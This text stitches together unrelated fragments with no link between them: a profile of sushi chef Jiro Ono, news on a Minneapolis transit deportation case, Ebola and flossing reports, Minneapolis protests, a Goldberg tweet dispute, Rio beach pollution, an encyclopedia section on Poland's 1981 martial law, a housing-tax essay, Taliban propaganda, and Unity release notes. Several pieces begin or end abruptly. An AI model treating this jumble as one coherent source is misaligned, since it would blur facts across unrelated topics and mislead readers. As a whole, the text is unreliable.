“I was blown away by the quality of the sushi, especially the rice,” said Ripert, who runs the acclaimed French restaurant Le Bernardin in New York City, at a recent Japan Society event. “I had never tasted rice like that. It was like this cloud that explodes in your mouth.”
Jiro Ono is also now the subject of the critically acclaimed mouthwatering documentary Jiro Dreams of Sushi. Directed by 28-year-old filmmaker David Gelb, the film profiles the man many consider to be the world’s greatest sushi chef and his relationships with his two sons—Yoshikazu and Takashi—with the former serving as his father’s long-suffering second in command who will one day take the reins at the Sukiyabashi Jiro.
Gelb, who has been visiting Japan since he was 2 years old, got the idea for a sushi documentary while watching BBC’s Planet Earth. “Why doesn’t anybody shoot sushi like this?” he asked himself. He was then put in touch with renowned food critic Masuhiro Yamamoto, who is a friend of Gelb’s father, Peter Gelb, the general manager of the Metropolitan Opera in New York City. Yamamoto took Gelb on a tour of Japanese sushi restaurants, but when they dined at Sukiyabashi Jiro, the young filmmaker knew he’d found his subject.
“I was blown away by how interesting Jiro was and how his eldest son, Yoshikazu, was still working alongside him at the sushi bar,” Gelb told The Daily Beast.
The story of Ono’s rise to the top of his profession is as compelling as his sushi is delicious. His father, an alcoholic who worked in a military factory, abandoned the family when Ono was just 7 years old. He left home at age 9 and was told, “You have no home to come back to.” He started apprenticing at a sushi shop and has been working the same job for 76 years. Ono also currently holds the distinction of being the Guinness World Record holder for the world’s oldest three–Michelin star chef.
Despite his advancing age, Ono still takes the subway to work every morning and oversees nearly every facet of his restaurant—from planning the seating arrangements to the menu. According to Ono’s 51-year-old son and heir apparent, Yoshikazu, the chef takes off only for national holidays or funerals. But Ono has cut back in recent years: at age 70, he had a heart attack and decided to give up not only smoking, but also purchasing high-quality fish every morning at the Tsukiji Fish Market in Tokyo—“the top seafood market in the world,” according to acclaimed sushi chef Masaharu Morimoto. Yoshikazu now makes the daily bicycle ride. In addition to the best fish, Ono also has a special rice dealer who only sells his best grains to him because he believes he’s the only chef in the world who can properly cook his rice (the Grand Hyatt Tokyo, a five-star hotel, tried to retain his services, but he turned them down flat).
Only six people work at Ono’s establishment: Yoshikazu; another shokunin, or sushi chef; three apprentices, who must train with Ono for a decade to attain the status of shokunin; a woman who handles all the accounting and the cash register (the place takes cash only); and a woman who cleans the restaurant.
“You must dedicate your life to mastering this skill,” Ono says in the film. “This is the key to success.”
To dine the 10-seat Sukiyabashi Jiro, one must make a reservation up to a year in advance and shell out 30,000 yen ($368) for a fixed menu of 20 pieces of sushi—the restaurant serves only sushi. Diners talk of being intimidated by Ono, who stands behind the sushi bar with a stony-faced look while customers indulge in his minimalist creations. He ages his tuna for up to 10 days, and apprentices massage the octopus’s by hand for 50 minutes before preparing it. The octogenarian is such a perfectionist that he’ll even make his sushi different sizes for different customers, so that an entire party finishes the food at the same time.
“Because of the air filtration in the basement, the air is the exact same every single day,” said Gelb. “If everything’s constant, then if something tastes different in the food, he’s able to identity that changing factor.” Gelb pauses, and grins. “That’s how serious he is.”
“He is a purist,” says chef Masato Shimizu, who runs the well-regarded sushi restaurant 15 East in New York City.
In addition to Ono’s modus operandi, as well as his relationship with Yoshikazu, who struggles to make his own mark and rise from behind his father’s enormous shadow, Gelb’s film also examines the worldwide sushi craze, which seemed to begin in the mid-1980s with the invention of the California roll—taking sushi from Japan to the U.S. and then Europe. According to Ono and Yoshikazu, since sushi has become so immensely popular, it’s become more difficult to create high-quality product due to a dearth in high-quality fish from overfishing (blue-fin tuna, in particular, has become an endangered species in certain parts of the world).
But the main attraction of Gelb’s film is the awe-inspiring montages of food preparation, set to orchestral scores by Mozart, Tchaikovsky, Bach, and Philip Glass (Gelb’s father does run the Metropolitan Orchestra, after all). Tuna is slowly cut in thin morsels; the world’s finest rice is cooked and shaken with care; and nigiri sushi is brushed with soy sauce in mouthwatering close-up. Yamamoto describes the dining experience at Jiro’s as “a sushi concerto,” and this is indeed food porn of the highest order. You will not walk, but run to the nearest sushi restaurant after seeing Gelb’s film.
“What defines deliciousness?” asks Ono in the movie’s opening line.
May 31, 2017, 12:03 PM GMT / Updated May 31, 2017, 12:03 PM GMT By Safia Samee Ali
A train rider at the center of viral video who was questioned about his immigration status and arrested by a Minnesota transit officer for not paying his fare is now facing deportation — and the officer no longer has a job, officials said.
Earlier this month, Ariel Vences-Lopez, 23, was riding a metro train in Minneapolis when a transit officer approached him and asked several questions about his identification including, “Are you here illegally?”
The encounter was filmed on a cellphone by an onlooker who intervened immediately and asked the officer if he was “authorized to act as immigration police.”
The officer appears surprised by the question and responds with “not necessarily,” and seemed to back off in the video. But the matter did not end there.
Vences-Lopez was arrested by the officer on May 14 on charges of fare evasion, obstruction, and providing a fictitious name.
The officer also used a stun gun on the man after he “stood up and refused requests to sit,” according to an incident report.
While the Metro Police Department did not officially identify the officer, Officer Andy Lamers was listed as the primary arresting officer in the incident report.
One day after his arrest, immigration officials placed a detainer on Vences-Lopez, Shawn Neudauer, a spokesman for Immigration and Customs Enforcement, said in a statement to NBC News. And on May 16, Vences-Lopez was “transferred to ICE custody for immigration violations,” he said.
“On May 23, 2017, a federal immigration judge issued Vences-Lopez a final order of removal. He will remain in ICE custody pending removal from the United States,” he said. Vences-Lopez is due to be deported to Mexico.
The Metro Transit Police Department said in a statement on Friday that “the officer seen in the video is no longer an employee of the Metro Transit Police Department.”
“The image of a single officer’s questioning immigration status is not reflective of, nor does it represent, the practices and procedures of Metro Transit officers,” Metro Transit Police Chief John Harrington said in the statement.
Harrington said department policies make clear that its officers will not act as immigration officers.
Harrington said there were no references to immigration status in the police report, and the department did not notify ICE or any other agency about immigration-related concerns.
Harrington said the department learned on May 25 that Vences-Lopez was in ICE custody and scheduled for deportation.
The department also noted that they are now focusing on “ensuring that our officers fully understand and adhere to our policy regarding immigration status,” and are “working to reestablish the trust that was broken by this isolated incident.”
Metro Transit's parent organization, Metropolitan Council, was also outraged to hear about Vences-Lopez’s pending deportation.
“I was shocked and dismayed to learn that the rider was in ICE custody and scheduled for deportation,” said Adam Duininck, a chairman of the Metropolitan Council in a statement. “The objective of our police force is to be a community partner, and to protect the safety and security of all members of our community. I believe we had an officer make a serious mistake. We take responsibility for that action,” he said.
All Central Ohio hospitals are putting a plan in place, but 10TV talked to doctors at OSU Wexner Medical Center who want to reassure people that the illness is not spread easily. “It's direct contact, so just being on the same plane as somebody does not put you at high risk. Sitting next to them and them rubbing against you might put you at high risk,” said Dr. Andrew Thomas.
Dr. Thomas says Ohio State is assessing whether any faculty, staff, or students traveled to any of the affected countries in West Africa over the summer, before classes resume in the fall.
This was the first patients tested for Ebola in Columbus.
The virus can be transmitted through close contact with the blood, secretions, organs or other bodily fluids of infected animals.
According to the CDC, symptoms include sudden onset of fever, intense weakness, muscle pain, headache and sore throat. This is followed by vomiting, diarrhea, rash, impaired kidney and liver function, and in some cases, both internal and external bleeding.
No licensed vaccine for Ebola is available. Several vaccines are being tested, but none are available for clinical use.
Meanwhile, the second American aid worker diagnosed with Ebola in Africa arrived back in the U.S. Tuesday afternoon . 59-year-old Nancy Writebol arrived in a plane specially-equipped to contain infectious diseases. She will be treated in the same hospital isolation unit as Dr. Kent Brantly, the other infected American.
Both are being treated with an experimental drug never tested on humans.
The AP reviewed several scientific studies conducted in the past 10 years that looked at how effective flossing is. The findings show that the evidence for flossing is "weak, very unreliable," of "very low" quality, and carries "a moderate to large potential for bias," the AP reports.
The evidence for flossing is "weak, very unreliable"
The US government has been recommending flossing since 1979, and including the practice in the Dietary Guidelines for Americans. By law, those guidelines must be backed by scientific research. But when last year, The Associated Press asked the departments of Health and Human Services and Agriculture for their evidence, the government wrote a letter to the AP saying that the effectiveness of flossing had never been researched. Flossing has since been removed from the dietary guidelines, which are issued every five years, according to the AP.
The American Dental Association and the American Academy of Periodontology both recommend flossing for removing plaque and preventing gingivitis and tooth decay. But the studies the groups cited for supporting these claims were outdated or tested few patients, according to the AP.
"It's low risk, low cost."
Flossing has been around since the early 19th century and the first floss patent was issued in 1874. Back then, no scientific evidence was required to make a health recommendation. If done improperly, flossing can damage gums and even cause infections. Despite the scant evidence, people should still floss, according to the National Institutes of Health dentist Tim Iafolla. "It's low risk, low cost," Iafolla told the AP. "We know there's a possibility that it works, so we feel comfortable telling people to go ahead and do it."
Nov. 22, 2015, 6:46 AM GMT / Updated Nov. 22, 2015, 6:55 AM GMT By Phil Helsel
The governor of Minnesota has asked the Justice Department to investigate whether any police actions in Minneapolis during protests over the death of an unarmed black man violated anyone’s civil rights.
Gov. Mark Dayton did not specify any actions, but police used pepper spray on a crowd Wednesday after bricks, rocks and bottles were thrown at officers Wednesday.
There have been protests in the city after Jamar Clark, 24, was shot in the head and killed during an arrest Sunday night.
Minneapolis Police Chief Janee Harteau said Saturday that any investigation "will only confirm the strength of the work my officers did protecting both public safety and the freedom of speech."
Related: Protesters, City Leaders Urge Calm in Minneapolis
Dayton said in a statement Saturday that he met with Clark’s family and with members of the Black Lives Matter movement.
Federal authorities are investigating whether the death of Clark broke any federal laws. On Friday, the FBI and U.S. Attorney’s Office for the District of Minnesota said in a statement that the release of any evidence, including video, would be “extremely detrimental” to that probe.
At what point do the Jews of America and the Jews of Israel tell the Jews of Europe that it might be time to get out? — Jeffrey Goldberg (@JeffreyGoldberg) May 26, 2014
This was days before anyone had any firm idea of who had committed the horrific murders, five days before the news that a French man who had become radicalized by serving in the Syrian rebellion was arrested.
The tweet is a reminder of Goldberg’s visceral understanding that Jews are unsafe in the west. “The fear of anti-Semitism is the forge on which” he built his identity as a young Jew, he wrote in his memoir, Prisoners. “I believed a red river of anti-Semitism ran under the surface of America.” Jews led “the dog’s life of the Diaspora. We were a whipped and boneless people.” The cure then was that Goldberg moved to Israel.
Max Blumenthal has responded to Goldberg:
Anti-Semites and Zionists like @jeffreygoldberg have something in common: They want Jews to leave Europe. https://t.co/nqtcTc3D6M — Max Blumenthal (@MaxBlumenthal) June 2, 2014
The American Jewish Committee’s David Harris in Haaretz surely agrees in part with Blumenthal. He chides Goldberg:
Such reactions are not helpful. They take complex issues and reduce them to the level of simplistic slogans. Should we be outraged by violent attacks on Jews? Absolutely. Should we be concerned about the electoral success of extremist parties peddling anti-Semitism, xenophobia, and racism? Certainly.
The pugnacious Goldberg seems proud of his tweet.
More on Brussels, from the Telegraph report on the arrest of a French man who had reportedly served with jihadists in Syria for the murders:
Our message “to these jihadists is that we will fight them, we will fight them and we will fight them”, [French President Francois Hollande] said.
France announced new policies in April to stop its citizens joining the Syrian civil war, aiming to prevent young French Muslims becoming radicalised and posing a threat to their home country.
This is a growing worry in a country that is home to Europe’s largest Muslim and Jewish communities.
Nearly 800 French nationals have travelled to Syria to fight alongside jihadists in the war-torn Arab state.
Maybe it’s because, as you’ll see in TVLine’s exclusive sneak peek above, Abby is sending her daughter on a hellish mission with less than 24 hours before the arrival of the dreaded “death wave.”
Just in case this is the last time Abby sees Clarke, she makes sure to say, “I told you were there no good guys, but that’s not true. There are. You are.” (Not going to lie, I was totally expecting her to say “Bellamy is.”)
And with only two episodes left in the season — one which has already seen the deaths of several fan-favorite characters — anything can happen.
Jeannette lends her voice on demographics on https://optioneerjm.wordpress.com/2016/05/13/a-culture-of-work-ethic-and-optimism/ and life+love+living under "meanderingsABOUT" http://meanderingsabout.blogspot.ca/ and as @optioneerJM on Twitter.
A sewage-filled Rio de Janeiro beach has been removed from the list of venues for a surfing competition in the city in May, the World Surf League said on Wednesday.
A spokesman, Dave Prodan, said São Conrado beach had to be removed as a competition site “due to pollution issues”.
São Conrado had been a backup for the Rio Pro event scheduled for 11 to 22 May, to be used in case of sub-par waves or other problems at the primary venue, nearby Barra da Tijuca beach.
Wedged between the high-rent Barra da Tijuca and Leblon neighbourhoods and two hillside slums, São Conrado is one of Rio’s most polluted beaches. Much of the sewage from the slums flows untreated directly into the water. A ruptured sewage main has added to the problem in recent days, unleashing a smelly fountain of untreated waste that is cascading down a rocky outcropping and into the water, creating a huge brown stain.
Top Olympics caterer threatens to withdraw from Rio de Janeiro games Read more
The result of spotty infrastructure and chaotic urban planning stretching back decades, Rio’s water pollution is in the spotlight ahead of next year’s Olympics.
An extensive cleanup of Rio’s beaches, lakes, lagoons and its big Guanabara Bay – sites where Olympic aquatic events from sailing to rowing to open-water swimming will be held – was marketed as one of the main legacies of the games. But with little progress on the promised cleanup, and with local and state authorities acknowledging the Olympic goals will not be met, athletes have begun to voice health and safety concerns about competing in the polluted waters.
In its statement, the World Surf League said it was confident Barra da Tijuca beach “will deliver excellent conditions” as the primary site for next month’s surfing event.
However, a biologist and environmentalist, Mario Moscatelli, who has been denouncing the state of Rio’s waterways for decades, said water quality during the surfing competition was likely to depend on wind and tides.
Barra da Tijuca is near the spot where the sewage- and trash-filled Jacarepagua lagoon flows into the Atlantic. When the tide is low, wind can spread the brown patch of contaminated water to Barra da Tijuca.
Declaration [ edit ]
The proclamation of martial law by the State Council
Led by General of the Army Wojciech Jaruzelski and the Military Council of National Salvation (Wojskowa Rada Ocalenia Narodowego, WRON) usurped for itself powers reserved for wartime, hence the name. The plan was presented to the government of the Soviet Union before the declaration in March 1981.
Appearing on Polish television at 6:00 AM on December 13, 1981, General Jaruzelski said:[2]
Today I address myself to you as a soldier and as the head of the Polish government. I address you concerning extraordinarily important questions. Our homeland is at the edge of an abyss. The achievements of many generations and the Polish home that has been built up from the dust are about to turn into ruins. State structures are ceasing to function. Each day delivers new blows to the waning economy./.../
The atmosphere of conflicts, misunderstanding, hatred causes moral degradation, surpasses the limits of toleration. Strikes, the readiness to strike, actions of protest have become a norm of life. Even school youth are being drawn into this. Yesterday evening, many public buildings remained seized. The cries are voiced to physical reprisals with the 'reds', with people who have different opinions.
The cases of terror, threats and moral vendetta, of even direct violence are on the rise. A wave of impudent crimes, robberies and burglaries is running across the country. The underground business sharks' fortunes, already reaching millions, are growing. Chaos and demoralization have reached the magnitude of a catastrophe. People have reached the limit of psychological toleration. Many people are struck by despair. Not only days, but hours as well are bringing forth the all-national disaster./.../
Citizens!
The load of responsibility that falls on me on this dramatic moment in the Polish history is huge. It is my duty to take this responsibility - concerning the future of Poland, that my generation fought for on all the fronts of the war and for which they sacrificed the best years of their life. I declare, that today the Military Council of National Salvation has been formed. In accordance with the Constitution, the State Council has imposed martial law all over the country. I wish that everyone understood the motives of our actions. A military coup, military dictatorship is not our goal./.../
In longer perspective, none of Poland's problems can be solved with the use of violence. The Military Council of National Salvation does not replace constitutional organs of power. Its only purpose is to keep the legal balance of the country, to create guarantees that give a chance to restore order and discipline. This is the ultimate way to bring the country out of the crisis, to save the country from collapse./.../
I appeal to all the citizens. A time of heavy trials has arrived. And we have to stand those in order to prove that we are worthy of Poland.
Before all the Polish people and the whole world I would like to repeat the immortal words:
Poland has not yet perished, so long as we still live!
Martial law [ edit ]
A column of T-55 tanks enters the town of Zbąszynek while moving east towards the city of Poznań , December 13, 1981
A censored telegram, 1982
General Jaruzelski had ordered the Polish General Staff to update plans for nationwide martial law on October 22, 1980.[3] After the introduction of martial law, pro-democracy movements such as Solidarity and other smaller organisations were banned, and their leaders, including Lech Wałęsa, jailed overnight. In the morning, thousands of soldiers in military vehicles appeared on the streets of every major city. A curfew was imposed, the national borders sealed, airports closed, and road access to main cities restricted. Telephone lines were disconnected, mail subject to renewed postal censorship, all independent official organizations were criminalized, and classes in schools and universities suspended.
During the initial imposition of martial law, several dozen people were killed. Official reports during the crackdown claimed about a dozen fatalities, while a parliamentary commission in the years 1989-1991 arrived at a figure of over 90.[4] In the deadliest incident, nine coal miners were killed by ZOMO paramilitary police during the strike-breaking at the Pacification of Wujek on December 16, 1981. Others were also killed and wounded during a massive second wave of demonstrations on August 31, 1982.
The government imposed a six-day work week while the mass media, public services, healthcare services, power stations, coal mines, sea ports, railway stations, and most key factories were placed under military management, with employees having to follow military orders or face a court martial. As part of the crackdown, media and educational institutions underwent "verification", a process that tested each employee's attitude towards the regime and to the Solidarity movement; as a result, thousands of journalists, teachers and professors were banned from their professions. Military courts were established to bypass the normal court system, to imprison those spreading "false information".[5] In an attempt to crush resistance, civilian phone lines were routinely tapped and monitored by government agents.
At the invitation of Jaruzelski, a delegation of the ruling Hungarian Socialist Workers' Party visited Poland between December 27 and 29. The Hungarians shared with their Polish colleagues their experiences on crushing the 'counterrevolution' of 1956. Earlier in the autumn of 1981, Polish television had broadcast a special film on the 1956 events in Hungary, showing scenes of rebels hanging security officers etc.[6]
The introduction of martial law was enthusiastically supported by some figures on the radical right like Jędrzej Giertych,[7] who believed Solidarity to be a disguised communist movement dominated by Jewish Trotskyites.
Economic crisis [ edit ]
Even after martial law was lifted, a number of restrictions remained in place for several years that drastically reduced the civil liberties of the citizenry. It also led to severe economic consequences. The ruling military dictatorship instituted major price rises (dubbed "economic reforms"), which resulted in a fall in real wages of 20% or more. The resulting economic crisis led to the rationing of most products and materials, including basic foodstuffs.
As a consequence of economic hardship and political repression, an exodus of Poles saw 700,000 emigrate to the West between 1981 and 1989.[8] A number of international flights were even hijacked in attempts to flee the country and its economic problems. Between December 1980 and October 1983, 11 Polish flights were hijacked to Berlin Tempelhof Airport alone.[9]
Around the same time, a group calling themselves the "Polish Revolutionary Home Army" seized the Polish Embassy in Bern, Switzerland on 6 September 1982, taking several diplomats as hostages. However this turned out to be an apparent provocation by the communist Polish secret services aiming to discredit the Solidarity movement.[10]
International response [ edit ]
After the "Wujek" Coal Mine incident in Katowice on December 23, 1981, the United States imposed economic sanctions against the People's Republic of Poland. In 1982 the United States suspended most favored nation trade status until 1987 and vetoed Poland's application for membership in the International Monetary Fund.[11]
Aftermath [ edit ]
Ruling of unconstitutionality [ edit ]
After the fall of Communism in Poland in 1989, members of a parliamentary commission determined that martial law had been imposed in clear violation of the country's constitution which had authorized the executive to declare martial law only between parliamentary sessions (at other times the decision was to be taken by the Sejm). However, the Sejm had been in session at the time when martial law was instituted. In 1992 the Sejm declared the 1981 imposition of martial law to be unlawful and unconstitutional.
Soviet intervention debate [ edit ]
Reenactment of the Martial law in Poland
The instigators of the martial law, such as Wojciech Jaruzelski, argue that the army crackdown rescued Poland from a possibly disastrous military intervention of the Soviet Union, East Germany, and other Warsaw Pact countries (similar to the earlier interventions in Hungary in 1956 and Czechoslovakia in 1968).[12] Public figures who supported the introduction of martial law (including some of the right-wing figures like Jędrzej Giertych) would also refer to that threat.
In 2009, archive documents hinted that in a conversation Jaruzelski had with Viktor Kulikov, a Soviet military leader, Jaruzelski himself begged for Soviet intervention as his domestic control was deteriorating.[13][14] Jaruzelski responded by claiming the document was 'just another falsification'.[citation needed]
See also [ edit ]
References [ edit ]
We’re in the middle of an affordable-housing crisis
The United States is in the midst of an affordable-housing crisis. Nearly 1 in 3 households with a mortgage devotes more than 30 percent of their income to their home. The situation is even worse for renters—more than half of America’s 38 million rental households are shouldering a cost burden.
Some of this crisis is fallout from the Great Recession, which brought homeownership rates to historic lows. African-American and Latino households were hit particularly hard, because of predatory-lending practices that targeted racially segregated communities.
Congress spends a lot on housing, mostly through tax programs
Given these crises in housing affordability and homeownership, congressional strategies to support housing deserve special scrutiny.
Congress supports housing in two main ways: rental assistance programs and homeownership tax programs. In 2015, the price tag for federal rental-assistance programs—which includes Section 8 housing vouchers, public housing, Homeless Assistance Grants, and other programs—was $51 billion. In contrast, two of the largest homeownership tax programs—the Mortgage Interest Deduction and the Property Tax Deduction—cost $90 billion in 2015. That’s nearly double the amount spent on public-benefit housing programs.
The biggest beneficiary of the billions spent on homeownership tax programs? The wealthy.
There’s nothing wrong with providing support through the tax code—benefits are benefits, whether you get them from your local HUD office or on your tax return. The important question is: Who benefits? Rental-assistance programs are designed to help those who will benefit most—primarily individuals and families with less income and less stable housing. But this isn’t the how Congress designed homeownership tax programs. All told, households making over $100,000 a year received nearly 90 percent of the $90 billion spent on the two tax programs discussed above. Households making less than $50,000 got a little more than 1 percent of those benefits.
It gets uglier. There are nearly 8 million low-income homeowners that struggle to pay for housing from month to month. On average, low-income households get about 8 cents per month from these two homeownership tax programs. Eight cents. There are also about 4 million middle-income households paying more than 30 percent of their income on housing. The average monthly benefit from these tax programs for middle-income earners? Twelve bucks. Don’t spend it all in one place.
In contrast, the top 0.1 percent of earners—folks with an average annual income of more than $9 million—get an average of $1,236 per month (nearly $15,000 per year) from just these two homeownership tax programs. That federal benefit is much more than the typical cost of rent in most American cities, and it’s going to wealthy households who really don’t need help keeping a roof over their heads.
Why these tax programs are so upside down
So why are these tax programs so out of whack? It’s no accident—it’s how the programs are designed. Most low-income families don’t even qualify, because they don’t itemize deductions. Even among those that do qualify, every dollar they deduct is worth less than a dollar that a high-income earner deducts. As nonsensical as it sounds, the value of homeownership tax support goes up as your income goes up. In addition, higher-income households get bigger deductions when they buy bigger houses (or bigger yachts, which qualify for the same tax benefits). LIKE THIS? GET MORE OF OUR BEST REPORTING AND ANALYSIS
If we ran the food stamp (SNAP) program the same way we run our housing-tax programs, low-income parents buying a simple, nutritious meal for their kids would get somewhere around zero dollars in federal support. Millionaires charging their MasterCard with a $5,000 FleurBurger, seared foie gras, truffle sauce, and bottle of 1995 Château Petrus would get a few thousand dollars in federal benefits.
Clearly, this would be a crazy way to run a social program—but this really is how we structure billions in support for wealthy homeowners through the tax code. Even worse, study after study shows that the Mortgage Interest Deduction doesn’t even succeed in boosting home ownership.
How we can get away from this upside-down system
It’s not hard to think up a better way to spend $90 billion. That’s the focus of the Turn it Right-Side Up campaign, which zeroes in on reforming unfair tax programs like these homeownership boondoggles. We could redirect this spending to help lower-income Americans save for a down payment, or use some of these funds to create a first-time-homebuyer credit, or create a simple refundable credit for all homeowners. Or all of the above.
U.S. officials and Afghan analysts say the Taliban has become adept at portraying the West as being on the brink of defeat, at exploiting rifts between Washington and Kabul and at disparaging the administration of President Hamid Karzai as a "puppet" state with little reach outside the capital. The group is also attempting to assure Afghans that it has a strategy for governing the country again, presenting a platform of stamping out corruption and even protecting women's rights.
As the radical Islamist movement steps up conventional grass-roots propaganda efforts and polishes its online presence - going so as far as to provide Facebook and Twitter icons online that allow readers to disseminate press releases - the U.S.-led coalition finds itself on the defensive in the media war.
"It's been getting better," a U.S. intelligence official in Kabul said of the Taliban's media strategy. "It's become increasingly complex. It's definitively something we worry about."
NATO has stepped up efforts to counter the Taliban's multimillion-dollar, Pakistan-based propaganda effort by translating some of its press releases into Dari and Pashto and by condemning the group for its frequent attacks that kill and maim Afghan civilians.
In his guidance to troops issued on Aug. 1, Gen. David H. Petraeus, the top U.S. and NATO commander here, urged his troops to "fight the information war aggressively."
Last month, Taliban leader Mohammad Omar issued a statement that heralded the imminent defeat of NATO forces in Afghanistan and outlined how the Taliban would govern when it returned to power. The bluster was not unusual; the insistence that the Taliban has a specific plan for leading the country again was.
"These days their propaganda has changed," said Afghan political analyst Jelani Zwak, who has studied Taliban propaganda for years. "They are not only talking about the occupation and civilian casualties. They are acting like an alternative to this government."
In a clear reference to Karzai's administration, which many Afghans view as corruption-ridden, Omar vowed that the Taliban would "bring about administrative transparency in all government departments."
Omar also promised the new regime would respect the rights of "all people in the country, including women," an apparent effort to dispel the widely held belief that the return of the Taliban would be dismal for women's rights.
The U.S. intelligence official, who agreed to be quoted on the condition of anonymity, said he believes the reference to women's rights was an attempt to mitigate the bad publicity from a recent Time magazine cover story containing a haunting photo and an article featuring a woman whose face was reportedly mauled by Taliban members.
Video: Video Clip renders only in single Game Window when multiple Game Windows are open ( 1109551 )
Shaders: ShaderGraph - Slider Node doesn't refresh when values are changed ( 1106475 )
Scripting Upgrade: Crash on loading scene after project upgrade form 2018.3 to 2019.1 ( 1128961 )
Scripting: Editor crashes when ScriptableObject filename does not match class name when reloading the ScriptableObject ( 1118266 )
Prefabs: Nesting changes made in Prefab Mode are not saved on switching back to the main scene ( 1124967 )
Prefabs: Editing prefabs directly in the project browser is no longer possible ( 1120805 )
Package Manager: Packages fail to compile and show Package Manager because of missing .NET Core prerequisites ( 1110751 )
GI: Lightmapper crash after runtime error pop up ( 1127298 )
Asset Import: Error message - Asset import did not unload metadata path. This will leak memory ( 1106466 )
XR: Enable depthBufferSharing by default for Windows Mixed Reality.
Graphics: Added Rendering.GraphicsSettings.realtimeDirectRectangularAreaLights to enable HDRP to provide direct realtime area lighting.
Graphics: Add mixed area lights to cull results to enable mixed rectangular lights in HDRP.
Graphics: - Changed the SRP signature of BeginCameraRendering and BeginFrameRendering to give access to the ScriptableRenderContext.
Editor: Added more API points for TransformHandle to permit granular control over which handles appear.
Windows: Fixed Multidisplay always reverting to native resolution on primary display ( 1040726 )
Vulkan: Vulkan: Fixed crash if the scene does not contain any cameras. ( 1067621 )
Universal Windows Platform: Fixed rapid triggering of OnClick() events in UI when multiple Xbox controllers connected ( 1099111 )
Universal Windows Platform: Fixed build failure in generated VS project due to duplicate Extension nodes in the appx manifest (1123172)
Unity Test Runner: Fixed issue where the test runner would not reopen the original scene after running playmode tests. ( 1118111 )
Unity Test Runner: Fix for Exception not handled properly in PlayTests when a custom Enumerator is used as a Coroutine and throws an Exception ( 1111243 , 1120288)
UI Elements: Fixed the value not being in synch when doing a Cut or Paste action from contextual menu in TextFields ( 1120588 , 1124654)
UI Elements: Fixed the Toolbar search cancel button not showing correctly. (1124647)
UI Elements: Fixed the GradientField not showing the alpha checker (1123838)
UI Elements: Fixed Null Reference exception thrown on changing scale factor of the screen from Window's display settings ( 1104793 , 1123854)
Timeline: Undoing a paste track operation in a group will no longer corrupt the timeline (1116052)
Timeline: The correct context menu will now be displayed on the marker header track (1120857)
Timeline: Signal Receiver will no longer throw exceptions when its inspector is locked ( 1114526 )
Timeline: PlayableDirector.played event is now called after entering or exiting Playmode ( 1088918 )
Timeline: Marker inspector will be disabled when the marker is collapsed (1102860)
Timeline: Fixed multiple issues where clips and markers were selectable when located under the time ruler and the marker header track (1102598, 1117925 )
Timeline: Fixed an issue where a circular reference warning appeared in the Control Clip inspector even if there was no circular reference (1116520)
Timeline: Context menu operations will now be applied on all selected tracks (1089820)
Timeline: Clip inspector will no longer throw exceptions when changing values when the inspector is locked (1115984)
Timeline: Clip edit mode clutch keys will not get stuck when holding multiple keys at the same time (1097216)
Timeline: Changed behaviour of the Timeline Window to apply modifications immediately during Playmode ( 922846 , 1111908)
Timeline: A marker aligned with the edge of a clip is now easier to select (1102591)
Shaders: Fixed an issue where the respective interpolation modifier would get lost from geometry shader output variables. (1121782)
Scripting: When fields in an object are null and you use ToJson() to serialize it, the fields will still not be null in the resulting JSON, but they will no longer be modified in the source object ( 942547 , 1124727)
Scripting: Fix crash when a GameObject instantiate a new GameObject on the parent during OnDestroy callback and the whole hierarchy is being destroyed ( 1121506 , 1125293)
Prefabs: Fixed crash when entering play mode while having a locked inspector on a GameObject with AudioSource. ( 1114376 )
Prefabs: Fix references in scene getting lost when modifying a Prefab. ( 1116476 )
Prefabs: Fix crash when passing invalid paths to PrefabUtility.LoadPrefabContents. ( 1116603 )
Physics: Ensure that ContactPoint2D and Collision2D types do not get stripped causing a crash ( 1121995 )
Mono: Fixed "DllNotFoundException: MonoPosixHelper" exception being thrown when MonoPosixHelper APIs are used ( 1045644 , 1116409)
Lumin: Fix an issue where the minimum platform API level in a custom manifest was not being respected.
Kernel: Fixed temp job warning in C# jobs when job was executing for longer than one frame
iOS: Metal: no longer unconditionally discard AA-ed depth (meaning post-opaque + AA now works) ( 1107546 )
Graphics: Vulkan: "Attempting to draw with missing bindings" is now a warning instead of an error. (1125418)
Graphics: Rename Renderer Priority by Priority in the MeshRenderer component as requested by the doc team
Graphics: Fixed a rare crash where instancing properties are absent from the MaterialPropertyBlock object sent to DrawMeshInstanced calls. (1115627)
Graphics: Fixed "CPU fence is invalid or very old!" error message. ( 1122971 )
Graphics: Fix for texture atlas generation when a detail mesh material does not contain a valid texture. ( 776013 , 1120579)
Editor: Vulkan: Fixed crashes and validation errors when creating editor windows (1085277)
Editor: Replace EditorTool.OnActivate and OnDeactivate methods with events on EditorTools, addressing callback order problems. (1125383)
Editor: Fix issue where if the user cancels a non scripts only build it will cache an incomplete form of the player data cache which on a subsequent scripts only build will cause the build to fail and then crash the editor. Canceled builds will now clean up the cache and an additional check was added to VerifyBuildSetup to fail the build properly if there is no cached player data ( 1114580 , 1123800)
Build Pipeline: Fix rare data corruption when building asset bundles with LZMA compression.
Animation: Fixed a crash when parenting an GameObject during an AnimationEvent (1115423)
Android: Workaround Mali geometry working set memory limitation by splitting up render passes when needed ( 1056056 , 1122164)
Android: Fix hang at exit if submitting AndroidJavaProxy/Runnable to UI thread. ( 1113139 , 1123785)
Android: Fix Android Screen.safeArea coordinate system to be in screen space.
2D: Editor throws "GetGfxDevice() should only be called from main thread" errors and eventually crashes when in Play Mode ( 1110007 , 1119496)
2D: Crash in FitBlockMaskInBlockMaskUsingPadding when packing a Sprite Atlas with blockOffset value set to 0 ( 1121583 , 1125296)
2D: "sprite.textureRect" returns values for master SpriteAtlas instead of SpriteAtlas Variant ( 1115285 , 1125298)
UI Elements: Background image can now be tinted using styles and uss
Timeline: Timeline has moved to be a built-in Package.
Timeline: Added Signals and Markers to Timeline
Shaders: Added support for BLENDWEIGHTS and BLENDINDICES semantics in vertex shaders
Shaders: Added new user variant directives shader_feature_local and multi_compile_local that do not contribute towards the global keyword count
Scripting: Experimental support for incremental Garbage Collection to avoid GC Spikes
Profiler: UnityEditor.Experimental.Networking.PlayerConnection.EditorGUILayout.AttachToPlayerDropdown added to public API to offer a one-stop solution to display and change the player the editor is attached to.
Physics: Added methods to determine closest point to a Collider2D. Added Physics2D.ClosestPoint, Rigidbody2D.ClosestPoint & Collider2D.ClosestPoint.
Particles: Experimental support for using the C# Job System to manipulate particle data
Mobile: Wide Color Gamut support for Vulkan and OpenGLES
iOS: Added support for rendering Unity on top of native UI on iOS and tvOS
Graphics: Metal: Added internal support for lossless texture compression API, a new feature on iOS 12 with A12+ GPU hardware
